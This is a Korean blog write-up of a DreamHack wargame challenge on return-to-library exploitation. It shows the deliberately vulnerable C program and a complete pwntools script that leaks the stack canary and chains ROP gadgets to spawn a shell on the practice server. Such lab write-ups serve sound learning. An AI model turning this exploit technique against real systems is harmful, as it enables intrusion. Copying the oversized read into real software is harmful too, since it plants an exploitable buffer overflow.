CIDY
[System_Hacking] stage7_문제풀이(Return to Library) 본문
문제가 너무 간단해서 그냥 풀이 적지 말까 하다가 그래도 차근차근 해나가고 싶어서 적고 감
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
// 64-bit, canary, nx, partial relro
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
카나리 릭 -> ROP가 전부인 간단한 코드다.
from pwn import *
p = remote("host3.dreamhack.games", 12865)
#p = process("./rtl")
pop_rdi = 0x400853
binsh = 0x400874
ret = 0x400285
system_plt = 0x4005d0
p.recvuntil(b"Buf: ")
p.send(b"A" * 0x39)
p.recvuntil(b"Buf: ")
p.recvn(0x39)
canary = u64(p.recvn(7).rjust(8, b"\x00"))
print(hex(canary))
p.recvuntil(b"Buf: ")
pay = b"A" * 0x30
pay += b"B" * 0x8
pay += p64(canary)
pay += b"C" * 0x8
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(ret)
pay += p64(system_plt)
p.send(pay)
p.interactive()
아 그리고 참고로 binsh주소는 그냥 gdb에서 find /bin/sh하면 있는거 다 보여준다. 그중에 라이브러리에 적힌건 aslr때문에 못쓰니까 그건 빼고 가져와주면 됨.
(이건 char* 라 data영역에서 찾으면 안될듯)
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage7_문제풀이(basic_rop_x64) (0) | 2022.07.02 |
---|---|
[System_Hacking] stage7_문제풀이(Return Oriented Programming) (0) | 2022.07.02 |
[System_Hacking] stage6_문제풀이(ssp_001) (0) | 2022.07.02 |
[System_Hacking] stage6_문제풀이(Return to Shellcode) (0) | 2022.07.02 |
[System_Hacking] stage5_문제풀이(basic_exploitation_001) (0) | 2022.07.01 |